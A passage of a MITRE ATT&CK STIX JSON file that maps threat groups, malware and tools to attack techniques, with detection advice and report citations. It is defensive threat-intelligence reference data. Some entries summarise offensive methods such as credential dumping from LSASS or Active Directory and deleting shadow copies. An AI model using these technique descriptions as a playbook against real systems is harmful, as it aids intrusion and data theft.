2018."}],"modified":"2020-03-16T17:29:45.968Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module for capturing keystrokes per process including window titles.(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cad2a13a-eb81-4c1c-8d16-beac4bf79625","type":"relationship","created":"2021-09-29T20:46:38.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.437Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used the Windows API to execute code within a victim's system.(Citation: CISA AA20-239A BeagleBoyz August 2020) ","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f8127cf5-e2b6-41a3-b18f-ba250e2c01f9","created":"2022-03-30T14:26:51.853Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Monitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system. ","modified":"2022-04-20T00:36:48.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d68120b8-9ef8-4a40-ae4c-d2b597336140","type":"relationship","created":"2019-01-29T20:17:49.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. 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Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c3d2111-f234-4624-999e-ce902367c212","type":"relationship","created":"2019-04-17T18:43:36.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. 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(Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7380936d-51af-4ee3-b729-9c56a203bdee","type":"relationship","created":"2020-09-24T15:17:32.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.669Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can list running processes on the localhost.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--307e732c-c407-4466-951b-38062bb5e32b","type":"relationship","created":"2020-05-22T15:43:05.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BitDefender Chafer May 2020","url":"https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."}],"modified":"2020-07-17T15:58:56.012Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used the post exploitation tool [CrackMapExec](https://attack.mitre.org/software/S0488) to enumerate network shares.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--82a7e330-e4b1-4db8-8c73-03cabd9b8991","type":"relationship","created":"2021-05-19T15:50:22.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.353Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can spawn a job to inject into LSASS memory and dump password hashes.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10ecbc19-10ab-4564-a637-cc4f6773e533","type":"relationship","created":"2020-07-17T15:48:51.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.038Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can dump hashed passwords associated with Active Directory using Windows' Directory Replication Services API (DRSUAPI), or Volume Shadow Copy.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0bb1573c-f30f-449c-931e-c5de024e96f8","type":"relationship","created":"2021-04-25T21:45:21.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-04-25T21:45:21.073Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has been packed for obfuscation.(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a68cb676-409e-483d-8af1-500d57ad1f81","type":"relationship","created":"2021-12-27T16:53:13.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Uptycs Confucius APT Jan 2021","url":" https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"modified":"2021-12-27T16:53:13.989Z","description":"[Confucius](https://attack.mitre.org/groups/G0142) has used HTTP for C2 communications.(Citation: Uptycs Confucius APT Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--891f701a-b0d3-408a-8e2c-e9d9e727930e","type":"relationship","created":"2019-02-07T14:02:20.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SecureAuth. (n.d.).  Retrieved January 15, 2019.","url":"https://www.secureauth.com/labs/open-source-tools/impacket","source_name":"Impacket Tools"}],"modified":"2019-04-18T21:49:12.805Z","description":"[Impacket](https://attack.mitre.org/software/S0357)'s wmiexec module can be used to execute commands through WMI.(Citation: Impacket Tools)","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c839344c-a96d-412f-bded-5ac7c8fd446a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.406Z","description":"[RTM](https://attack.mitre.org/software/S0148) can download additional files.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aeffbd1d-a962-492a-a6bf-670b70f01abb","type":"relationship","created":"2021-03-25T14:13:41.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Google Election Threats October 2020","url":"https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/","description":"Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."},{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:13:41.447Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used malicious links in e-mails to lure victims into downloading malware.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14568d94-858d-4b8a-af94-88cd17f6ab10","type":"relationship","created":"2019-01-30T15:19:14.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). 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Retrieved January 7, 2021."}],"modified":"2021-01-14T22:26:50.338Z","description":"[UNC2452](https://attack.mitre.org/groups/G0118) changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.(Citation: Microsoft 365 Defender Solorigate)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--38230234-1111-41cf-aa6b-b107577dad61","created":"2022-04-10T18:39:28.849Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has used DLL search-order hijacking to load `exe`, `dll`, and `dat` files into memory.(Citation: CrowdStrike AQUATIC PANDA December 2021)","modified":"2022-04-10T18:39:28.849Z","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd2f1a44-2ae7-4df0-b53c-42bc96af2da1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. 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Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used an information gathering module that will hide an AV software window from the victim.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T16:04:54.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57f8c6d0-406d-4e97-b3ff-5b2f0274231b","type":"relationship","created":"2020-05-13T13:20:59.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. 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Retrieved November 6, 2020."}],"modified":"2020-11-09T15:08:23.188Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) can write to the Registry under the <code>%windir%</code> variable to execute tasks.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. 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Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016."},{"source_name":"Lateral Movement Payne","url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts","description":"Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logon behavior (ex: EID 4624 Logon Type 3) using [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user. Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. 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Retrieved December 4, 2020."}],"modified":"2020-12-04T21:04:06.898Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used legitimate web services including Pastebin, Dropbox, and GitHub for C2 communications.(Citation: Accenture HyperStack October 2020)(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe15ff1c-7a12-4bcf-aa93-68deb475e6f0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-16T23:59:49.919Z","relationship_type":"mitigates","source_ref":"course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a93ea80-d0f6-4b81-887d-8911f7573245","type":"relationship","created":"2017-05-31T21:33:27.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. 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Externally monitor the availability of services that may be targeted by an Endpoint DoS.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a837390-7974-44e0-9d60-4c9831b8e272","type":"relationship","created":"2020-02-19T18:52:25.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-19T18:52:25.318Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6c20b07-57ea-46dd-aa71-93849b6b66ca","type":"relationship","created":"2020-06-10T19:31:48.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. 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Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.655Z","description":"[Dyre](https://attack.mitre.org/software/S0024) can detect sandbox analysis environments by inspecting the process list and Registry.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72f4d17a-be89-446a-a728-133cb7048ab9","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). 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Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2019-07-26T23:07:21.108Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInstalledAPP function to run <code>ls -la /Applications</code> to gather what applications are installed.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8e25c1f-84bd-4ddd-bf18-51543d5cff94","type":"relationship","created":"2020-06-01T15:46:47.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. 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Retrieved May 29, 2020."}],"modified":"2021-12-01T23:27:44.605Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used HTTP to communicate with C2 nodes.(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecc31d1c-b5ac-4458-b379-a5c003637ee2","type":"relationship","created":"2021-01-06T15:56:49.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. 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Retrieved March 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT28](https://attack.mitre.org/groups/G0007) registered domains imitating NATO, OSCE security websites, Caucasus information resources, and other organizations.(Citation: FireEye APT28)(Citation: US District Court Indictment GRU Oct 2018)(Citation: Google TAG Ukraine Threat Landscape March 2022)","modified":"2022-04-14T20:20:11.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87343ae5-53c9-426c-abab-602c8041dafe","type":"relationship","created":"2020-05-26T21:02:38.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."},{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-06-08T16:07:36.279Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can delete the infected system's Shadow Volumes to prevent recovery.(Citation: TrendMicro Netwalker May 2020)(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f62c818-2129-4dc2-9f80-105412df4b1d","type":"relationship","created":"2019-01-30T17:43:28.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. 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(2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T12:32:18.720Z","description":"(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"intrusion-set--bb82e0b0-6e9c-439f-970a-4c917a74c5f2","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2909563-2b7e-48d6-b165-05b8eff63862","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. 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(2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. 